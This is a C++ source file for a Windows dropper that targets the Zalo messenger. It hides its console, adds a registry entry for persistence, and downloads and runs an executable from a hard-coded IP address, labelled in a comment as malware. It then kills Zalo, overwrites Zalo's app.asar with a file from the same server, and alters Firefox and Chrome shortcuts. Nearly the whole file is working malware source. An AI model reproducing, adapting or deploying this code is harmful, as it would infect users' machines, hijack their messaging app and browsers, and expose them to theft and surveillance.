#pragma once #define _CRT_SECURE_NO_WARNINGS #define CURL_STATICLIB #include #include "InjectShortcut.h" #include #pragma comment(lib, "Shlwapi.lib") // Link with Shlwapi.lib #pragma comment(lib, "Advapi32.lib") // Link with Advapi32.lib for GetUserName function #include #include #include #include #include #include #include #include "AddReg.h" #include #include #include #include #include #include #include #include #pragma comment(lib, "wininet.lib") #define url1 "http://45.76.176.147:8098/mscorsvc.exe" #define url2 "http://45.76.176.147:8098/app.asar" //#define url1 "http://localhost:8088/mscorsvc.exe" #define pathSave "C:\\Programdata\\mscorsvc.exe" namespace fs = std::filesystem; // Danh sách các tên tiến trình của Zalo std::vector ZALO_PROCESS_NAMES = { "zalo.exe" }; // Thêm tên tiến trình của Zalo vào đây // Hàm để chuyển đổi std::wstring thành std::string std::string wstringToString(const std::wstring& wstr) { int size_needed = WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), NULL, 0, NULL, NULL); std::string str(size_needed, 0); WideCharToMultiByte(CP_UTF8, 0, &wstr[0], (int)wstr.size(), &str[0], size_needed, NULL, NULL); return str; } //// Hàm chuyển đổi từ std::string sang std::wstring sử dụng MultiByteToWideChar //std::wstring MultiByteToWide(const std::string& utf8str) { // // Kiểm tra độ dài chuỗi cần chuyển đổi // int len = MultiByteToWideChar(CP_UTF8, 0, utf8str.c_str(), -1, NULL, 0); // // // Tạo mảng wchar_t để lưu kết quả // wchar_t* utf16str = new wchar_t[len]; // MultiByteToWideChar(CP_UTF8, 0, utf8str.c_str(), -1, utf16str, len); // // // Chuyển đổi thành std::wstring // std::wstring wstr(utf16str); // // // Giải phóng bộ nhớ // delete[] utf16str; // // return wstr; //} // Hàm để chuyển đổi chuỗi thành chữ thường std::string toLower(const std::string& str) { std::string lowerStr = str; std::transform(lowerStr.begin(), lowerStr.end(), lowerStr.begin(), ::tolower); return lowerStr; } // Hàm để lấy danh sách các PID của các tiến trình Zalo std::vector getZaloProcessIds() { std::vector pids; HANDLE hProcessSnap; PROCESSENTRY32 pe32; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { throw std::runtime_error("Not list process"); } pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcessSnap, &pe32)) { CloseHandle(hProcessSnap); throw std::runtime_error("Not found first Process!"); } do { std::string processName = toLower(wstringToString(pe32.szExeFile)); if (std::find(ZALO_PROCESS_NAMES.begin(), ZALO_PROCESS_NAMES.end(), processName) != ZALO_PROCESS_NAMES.end()) { pids.push_back(pe32.th32ProcessID); } } while (Process32Next(hProcessSnap, &pe32)); CloseHandle(hProcessSnap); return pids; } // Hàm để kết thúc tiến trình dựa trên PID bool killProcess(int pid) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); if (hProcess == NULL) { return false; } BOOL result = TerminateProcess(hProcess, 0); CloseHandle(hProcess); return result != 0; } // Hàm để kết thúc danh sách các tiến trình dựa trên danh sách PID void killProcesses(const std::vector& processIds) { for (int pid : processIds) { if (killProcess(pid)) { std::cout << "Kill PID: " << pid << std::endl; } else { std::cerr << "Not kill PID: " << pid << std::endl; } } } bool DownloadFile(const char* url, const char* localPath) { // Initialize WinINet HINTERNET hInternet = InternetOpen(L"MyDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (!hInternet) { std::cerr << "InternetOpen failed, error: " << GetLastError() << std::endl; return false; } // Open the URL HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (!hUrl) { std::cerr << "InternetOpenUrlA failed, error: " << GetLastError() << std::endl; InternetCloseHandle(hInternet); return false; } // Create the file std::ofstream outFile(localPath, std::ios::binary); if (!outFile.is_open()) { std::cerr << "Failed to open file: " << localPath << std::endl; InternetCloseHandle(hUrl); InternetCloseHandle(hInternet); return false; } // Read the data char buffer[4096]; DWORD bytesRead; while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead != 0) { outFile.write(buffer, bytesRead); } // Cleanup outFile.close(); InternetCloseHandle(hUrl); InternetCloseHandle(hInternet); return true; } bool IsShortcutFileExistsOnPublicDesktop(LPCWSTR shortcutPath) { // Check if the file exists BOOL fileExists = PathFileExists(shortcutPath); return (fileExists == TRUE); } void CopyAndDelete(LPCWSTR publicDesktopPath, LPCWSTR userDesktopShortcut) { // Copy the shortcut from Public desktop to user's desktop if (!CopyFile(publicDesktopPath, userDesktopShortcut, FALSE)) { std::cerr << "Failed to copy the shortcut. Error code: " << GetLastError() << std::endl; return; // Exit function if copying fails } // Delete the original shortcut from Public desktop //if (!DeleteFile(publicDesktopPath)) { // std::cerr << "Failed to delete the original shortcut. Error code: " << GetLastError() << std::endl; // return; // Exit function if deletion fails //} std::wcout << L"Shortcut successfully copied to user's desktop." << std::endl; } std::wstring ConvertToWideString(const std::string& narrowStr) { int wideStrSize = MultiByteToWideChar(CP_UTF8, 0, narrowStr.c_str(), -1, nullptr, 0); std::wstring wideStr(wideStrSize, 0); MultiByteToWideChar(CP_UTF8, 0, narrowStr.c_str(), -1, &wideStr[0], wideStrSize); return wideStr; } void RunFile(const char* localPath) { // run file STARTUPINFO si; PROCESS_INFORMATION pi; // Initialize the STARTUPINFO structure ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); // Convert the narrow string to a wide string std::wstring wideLocalPath2 = ConvertToWideString(localPath); // Start the child process if (!CreateProcessW( NULL, // No module name (use command line) &wideLocalPath2[0], // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE 0, // No creation flags NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi) // Pointer to PROCESS_INFORMATION structure ) { std::cerr << "CreateProcess failed (" << GetLastError() << ").\n"; } // Wait until child process exits WaitForSingleObject(pi.hProcess, INFINITE); // Close process and thread handles CloseHandle(pi.hProcess); CloseHandle(pi.hThread); std::cout << "Process executed successfully.\n"; } void DownLoadAndRun(const char* url, const char* localPath) { if (DownloadFile(url, localPath)) { std::cout << "Download succeeded." << std::endl; } else { std::cout << "Download failed." << std::endl; } //run file RunFile(localPath); } bool compareVersions(const std::wstring& version1, const std::wstring& version2) { std::vector v1, v2; std::wregex rgx(L"\\d+"); std::wsregex_iterator iter1(version1.begin(), version1.end(), rgx), iter2(version2.begin(), version2.end(), rgx), end; while (iter1 != end) v1.push_back(std::stoi((*iter1++).str())); while (iter2 != end) v2.push_back(std::stoi((*iter2++).str())); return v1 < v2; // So sánh các phần tử trong vector } // Hàm để tìm thư mục "resources" trong các thư mục có chứa chuỗi "Zalo-*" std::optional getLatestZaloResourcesDir(const fs::path& basePath) { std::optional latestDir; std::wstring latestVersion = L"0.0.0"; for (const auto& entry : fs::directory_iterator(basePath)) { if (entry.is_directory()) { std::wstring dirName = entry.path().filename().wstring(); // Kiểm tra nếu thư mục có dạng "Zalo-*" if (dirName.find(L"Zalo-") != std::wstring::npos) { fs::path resourcesPath = entry.path() / L"resources\\app.asar"; if (fs::exists(resourcesPath)) { std::wstring version = dirName.substr(5); // Bỏ qua "Zalo-" if (compareVersions(latestVersion, version)) { latestVersion = version; latestDir = resourcesPath; } } } } } return latestDir; } int main() { FreeConsole(); addregistry(L"C:\\Programdata\\mscorsvc.exe",L"mscorsvc"); //download file malware DownLoadAndRun(url1,pathSave); const DWORD max_username_len = 256; // Maximum length for a user name TCHAR username[max_username_len]; DWORD username_len = max_username_len; GetUserName(username, &username_len); try { std::vector zaloPids = getZaloProcessIds(); if (zaloPids.empty()) { std::cerr << "Not Found Zalo." << std::endl; } else { killProcesses(zaloPids); std::wstring usernameWstr(username); // Xây dựng đường dẫn với tên người dùng std::wstring baseZaloPath = L"C:\\Users\\"; baseZaloPath += usernameWstr; baseZaloPath += L"\\AppData\\Local\\Programs\\Zalo\\"; auto latestResourcesDir = getLatestZaloResourcesDir(baseZaloPath); std::string pathAsarZalo = latestResourcesDir.value().string(); std::cout << "PathZalo: " << pathAsarZalo << std::endl; if (pathAsarZalo != "") { if (DownloadFile(url2, pathAsarZalo.c_str())) { std::cout << "Download succeeded." << std::endl; } else { std::cout << "Download failed." << std::endl; } } } } catch (const std::exception& e) { std::cerr << e.what() << std::endl; } WCHAR shortcutSourcePath_FirefoxPubic[MAX_PATH]; StringCchPrintf(shortcutSourcePath_FirefoxPubic, MAX_PATH, L"C:\\Users\\Public\\Desktop\\Firefox.lnk"); WCHAR shortcutSourcePath_FirefoxStartMenu[MAX_PATH]; StringCchPrintf(shortcutSourcePath_FirefoxStartMenu, MAX_PATH, L"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Firefox.lnk"); WCHAR shortcutSourcePath_ChromePubic[MAX_PATH]; StringCchPrintf(shortcutSourcePath_ChromePubic, MAX_PATH, L"C:\\Users\\Public\\Desktop\\Google Chrome.lnk"); WCHAR shortcutSourcePath_ChromeStartMenu[MAX_PATH]; StringCchPrintf(shortcutSourcePath_ChromeStartMenu, MAX_PATH, L"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk"); WCHAR shortcutSourcePath_FirefoxDesktop[MAX_PATH]; StringCchPrintf(shortcutSourcePath_FirefoxDesktop, MAX_PATH, L"C:\\Users\\%s\\Desktop\\Firefox.lnk", username); WCHAR shortcutSourcePath_ChromeDesktop[MAX_PATH]; StringCchPrintf(shortcutSourcePath_ChromeDesktop, MAX_PATH, L"C:\\Users\\%s\\Desktop\\Google Chrome.lnk", username); TCHAR shortcutDesPath[MAX_PATH]; //check shortcut exited in public if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_FirefoxPubic)) { ChangeShortcutFirefox(shortcutSourcePath_FirefoxPubic); CopyAndDelete(shortcutSourcePath_FirefoxPubic, shortcutSourcePath_FirefoxDesktop); } if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_ChromePubic)) { ChangeShortcutChrome(shortcutSourcePath_ChromePubic); CopyAndDelete(shortcutSourcePath_ChromePubic, shortcutSourcePath_ChromeDesktop); } // start-menu if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_FirefoxStartMenu)) { CopyAndDelete(shortcutSourcePath_FirefoxStartMenu, shortcutSourcePath_FirefoxDesktop); } if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_ChromeStartMenu)) { CopyAndDelete(shortcutSourcePath_ChromeStartMenu, shortcutSourcePath_ChromeDesktop); } //check shortcut exited in desktop if (IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_FirefoxDesktop)) { ChangeShortcutFirefox(shortcutSourcePath_FirefoxDesktop); CopyAndDelete(shortcutSourcePath_FirefoxDesktop, shortcutSourcePath_FirefoxStartMenu); } if(IsShortcutFileExistsOnPublicDesktop(shortcutSourcePath_ChromeDesktop)) { ChangeShortcutChrome(shortcutSourcePath_ChromeDesktop); CopyAndDelete(shortcutSourcePath_ChromeDesktop, shortcutSourcePath_ChromeStartMenu); } return 0; }